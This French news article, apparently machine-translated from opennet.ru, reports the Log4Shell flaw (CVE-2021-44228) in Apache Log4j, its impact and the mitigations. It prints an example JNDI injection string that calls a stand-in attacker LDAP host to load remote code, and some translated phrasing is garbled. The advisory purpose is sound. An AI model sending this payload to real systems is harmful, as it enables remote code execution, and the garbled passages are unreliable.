Vulnérabilité catastrophique dans Apache Log4j affectant de nombreux projets Java

Dans Apache Log4j, un framework populaire pour organiser la journalisation dans les applications Java, une vulnérabilité critique a été identifiée qui permet l'exécution de code arbitraire lorsqu'une valeur spécialement formatée au format « {jndi:URL} » est écrite dans le journal. L'attaque peut être menée sur des applications Java qui enregistrent des valeurs reçues de sources externes, par exemple lors de l'affichage de valeurs problématiques dans des messages d'erreur.

On note que presque tous les projets utilisant des frameworks tels qu'Apache Struts, Apache Solr, Apache Druid ou Apache Flink sont concernés par le problème, notamment Steam, Apple iCloud, les clients et serveurs Minecraft. On s'attend à ce que la vulnérabilité puisse conduire à une vague d'attaques massives contre les applications d'entreprise, répétant l'historique des vulnérabilités critiques du framework Apache Struts, qui, selon une estimation approximative, est utilisé dans les applications Web par 65 % de Fortune. 100 entreprises, y compris les tentatives d'analyse du réseau à la recherche de systèmes vulnérables.

Le problème est aggravé par le fait qu'un exploit fonctionnel a déjà été publié, mais que les correctifs pour les branches stables n'ont pas encore été compilés. L'identifiant CVE n'a pas encore été attribué. Le correctif est uniquement inclus dans la branche de test log4j-2.15.0-rc1. Pour contourner le blocage de la vulnérabilité, il est recommandé de définir le paramètre log4j2.formatMsgNoLookups sur true.

Le problème était dû au fait que log4j prend en charge le traitement des masques spéciaux « {} » dans les lignes sorties dans le journal, dans lesquels les requêtes JNDI (Java Naming and Directory Interface) pouvaient être exécutées. L'attaque se résume à passer une chaîne avec la substitution « ${jndi:ldap://attacker.com/a} », lors du traitement, lequel log4j enverra une requête LDAP pour le chemin d'accès à la classe Java au serveur attaquant.com . Le chemin renvoyé par le serveur de l'attaquant (par exemple http://second-stage.attacker.com/Exploit.class) sera chargé et exécuté dans le contexte du processus en cours, ce qui permettra à l'attaquant d'exécuter du code arbitraire sur le serveur de l'attaquant. système avec les droits de l’application actuelle.

Addendum 1 : La vulnérabilité a reçu l'identifiant CVE-2021-44228.

Addendum 2 : Un moyen de contourner la protection ajoutée par la version log4j-2.15.0-rc1 a été identifié. Une nouvelle mise à jour, log4j-2.15.0-rc2, a été proposée avec une protection plus complète contre la vulnérabilité. Le code met en évidence le changement associé à l'absence de terminaison anormale en cas d'utilisation d'une URL JNDI mal formatée.

Source: opennet.ru

Ajouter un commentaire